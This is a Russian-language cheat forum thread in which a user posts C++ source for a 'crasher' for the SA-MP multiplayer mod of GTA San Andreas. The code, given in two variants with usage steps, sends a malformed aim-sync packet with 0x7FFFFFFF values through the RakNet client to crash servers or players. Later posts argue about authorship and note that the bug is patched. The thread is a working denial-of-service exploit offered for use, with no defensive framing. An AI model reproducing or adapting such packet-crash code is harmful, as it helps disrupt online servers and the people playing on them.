|
Crasher source by FYP
|
|
| Tone228 |
Дата: Воскресенье, 06.10.2013, 09:48 | Сообщение # 1
|
Боец
Сообщений: 59
Статус: Offline
|
Всем хай ту олл лолы.
И тема по Crasher'y который слил FYP Приступаем.
Сразу говорю я его переделал на исход FYP'a 4.3.3.1 source + добавил голубя!! и ещё, я напишу только САМ код. Обьявлять будете сами..
Ну погнали уже.
Код void cheat_handle_crasherr() { if( cheat_state->_generic.crasherr == 1) { BitStream bs; stAimData sync; ZeroMemory(&sync, sizeof(sync)); sync.vecAimf1[0] = (float)0x7FFFFFFF; sync.vecAimPos[0] = (float)0x7FFFFFFF; bs.Write((BYTE)ID_AIM_SYNC); bs.Write((PCHAR)&sync, sizeof(stAimData)); g_RakClient->Send(&bs, HIGH_PRIORITY, UNRELIABLE_SEQUENCED, 0); } } Это всё в cheat_generic.cpp
И теперь разберём. раскажу только то что знаю.
Код sync.vecAimf1[0] = (float)0x7FFFFFFF; sync.vecAimPos[0] = (float)0x7FFFFFFF; Пакет который отпровляем. Код bs.Write((BYTE)ID_AIM_SYNC); bs.Write((PCHAR)&sync, sizeof(stAimData)); Вроде запись пакета. Код g_RakClient->Send(&bs, HIGH_PRIORITY, UNRELIABLE_SEQUENCED, 0); Собираем и отпровляем серверу.
Далее обьявляем void cheat_handle_crasherr() И всё. Когда обьявили. Заходим в игру и включаем и нажимаем ПКМ. Насчёт ПКМ я хз почему так. И так некоторые просили голубя. Ну на ловите) Обьяснять небуду, возможно код не рабочий я незнаю. Код void cheat_handle_crasherrr() { if( cheat_state->_generic.crasherrr == 1) { RakNet::BitStream bs; stAimData sync; ZeroMemory(&sync, sizeof(sync)); sync.vecAimf1[0] = (float)0x7FFFFFFF; sync.vecAimPos[0] = (float)0x7FFFFFFF; bs.Write((BYTE)ID_AIM_SYNC); bs.Write((PCHAR)&sync, sizeof(stAimData)); g_SAMP->pRakClientInterface->Send(&bs, HIGH_PRIORITY, UNRELIABLE_SEQUENCED, 0); } } Вот и сё.
Нью ава мауфака
Сообщение отредактировал Tone228 - Понедельник, 07.10.2013, 09:24 |
|
|
|
|
| Ba]-[eK |
Дата: Воскресенье, 06.10.2013, 10:00 | Сообщение # 2
|
Боец
Сообщений: 78
Статус: Offline
|
Цитата (Tone228) Сразу говорю я его переделал на исход FYP'a 4.3.3.1 source. ты его перделал ?????
R3Z4K
|
|
|
|
|
| Tone228 |
Дата: Воскресенье, 06.10.2013, 10:01 | Сообщение # 3
|
Боец
Сообщений: 59
Статус: Offline
|
Цитата (Ba|-|eK) ты его перделал ????? Нет, я его перевёл и код подправил. А ты мне в скайпе кидал для исхода голубя.. А тут на исход FYP'a
Нью ава мауфака
|
|
|
|
|
| Ba]-[eK |
Дата: Воскресенье, 06.10.2013, 10:07 | Сообщение # 4
|
Боец
Сообщений: 78
Статус: Offline
|
Цитата (Tone228) Нет, я его перевёл и код подправил. А ты мне в скайпе кидал для исхода голубя.. А тут на исход FYP'a ну давай сравним??
Код [04.10.2013 19:08:35] ВaHeK: void RakClient::SendBadAimSync() { BitStream bs; stAimData sync; ZeroMemory(&sync, sizeof(sync)); sync.vecAimf1[0] = (float)0x7FFFFFFF; sync.vecAimPos[0] = (float)0x7FFFFFFF; bs.Write((BYTE)ID_AIM_SYNC); bs.Write((PCHAR)&sync, sizeof(stAimData)); g_RakClient->Send(&bs, HIGH_PRIORITY, UNRELIABLE_SEQUENCED, 0); } [04.10.2013 19:08:38] ToN4ikTz: Крашит иногда [04.10.2013 19:08:41] ToN4ikTz: Это куда Добавлено (06.10.2013, 10:07) --------------------------------------------- ты тока ет Код void cheat_handle_crasherr() { if( cheat_state->_generic.crasherr == 1) { добавил
R3Z4K
|
|
|
|
|
| Tone228 |
Дата: Воскресенье, 06.10.2013, 10:09 | Сообщение # 5
|
Боец
Сообщений: 59
Статус: Offline
|
Цитата (Ba|-|eK) ну давай сравним?? Даже незнаю как обьяснить тебе.
Нью ава мауфака
|
|
|
|
|
| Ba]-[eK |
Дата: Воскресенье, 06.10.2013, 10:09 | Сообщение # 6
|
Боец
Сообщений: 78
Статус: Offline
|
Цитата (Tone228) Насчёт ПКМ я хз почему так. потому что ет нубо код
R3Z4K
|
|
|
|
|
| Tone228 |
Дата: Воскресенье, 06.10.2013, 10:12 | Сообщение # 7
|
Боец
Сообщений: 59
Статус: Offline
|
Выложил я суда для других нубейтов. пусть радуются. Он уже на многих сервах пофикшен.
Нью ава мауфака
|
|
|
|
|
| Ba]-[eK |
Дата: Воскресенье, 06.10.2013, 10:21 | Сообщение # 8
|
Боец
Сообщений: 78
Статус: Offline
|
Цитата (Tone228) Он уже на многих сервах пофикшен. Он профикшен в самом samp 0.3x R2
R3Z4K
Сообщение отредактировал Ba]-[eK - Воскресенье, 06.10.2013, 10:21 |
|
|
|
|
| iMaddy |
Дата: Воскресенье, 06.10.2013, 15:42 | Сообщение # 9
|
Cheat-Master
Сообщений: 2855
Статус: Offline
|
лучше в хук добавлять
Вопросами по сайту и так же игровому рынку (развод, невалидные товары, добавление в ЧС, проведение сделок) не занимаюсь
|
|
|
|
|
| Tone228 |
Дата: Воскресенье, 06.10.2013, 16:42 | Сообщение # 10
|
Боец
Сообщений: 59
Статус: Offline
|
Цитата (iMaddy) лучше в хук добавлять Так легче xD
Нью ава мауфака
|
|
|
|
|
| DexT3R |
Дата: Воскресенье, 06.10.2013, 20:23 | Сообщение # 11
|
(•̪●)=ε/̵͇̿̿/’̿’̿ ̿ ̿̿ ̿ ̿””
Сообщений: 1978
Статус: Offline
|
Цитата (Tone228) Так легче xD Но опять же прийдётся розписать, как это всё добавить в раксамп для нубейтов Синхру не полностю ты разобрал Но всё же лучше б перевёл для Голубя, так как многие кто на СМ Используют исходник Голубя
НИЧЕГО НЕ ПРОДАЮ В ТЕЛЕГРАММЕ И ВК!!
|
|
|
|
|
| sneak_ayes |
Дата: Воскресенье, 06.10.2013, 20:54 | Сообщение # 12
|
Боец
Сообщений: 207
Статус: Offline
|
Мое мнение таково, запилил сюда этот кода ради плюсов. + к этому, кто ищет тот всегда найдет.
|
|
|
|
|
| Tone228 |
Дата: Понедельник, 07.10.2013, 09:27 | Сообщение # 13
|
Боец
Сообщений: 59
Статус: Offline
|
Добавил под исходник Голубя.
Нью ава мауфака
|
|
|
|
|
| =]D]EA[N[= |
Дата: Суббота, 21.02.2015, 17:16 | Сообщение # 14
|
Боец
Сообщений: 74
Статус: Offline
|
Он на 0.3 е будет работать ?! Добавлено (21.02.2015, 17:16) --------------------------------------------- класс stAimData не содержит vecAimf1 и vecAimPos , что делать ?!
|
|
|
|
|
| DexT3R |
Дата: Суббота, 21.02.2015, 18:08 | Сообщение # 15
|
(•̪●)=ε/̵͇̿̿/’̿’̿ ̿ ̿̿ ̿ ̿””
Сообщений: 1978
Статус: Offline
|
=]D]EA[N[=, Он уже везде пофикшен
НИЧЕГО НЕ ПРОДАЮ В ТЕЛЕГРАММЕ И ВК!!
|
|
|
|
|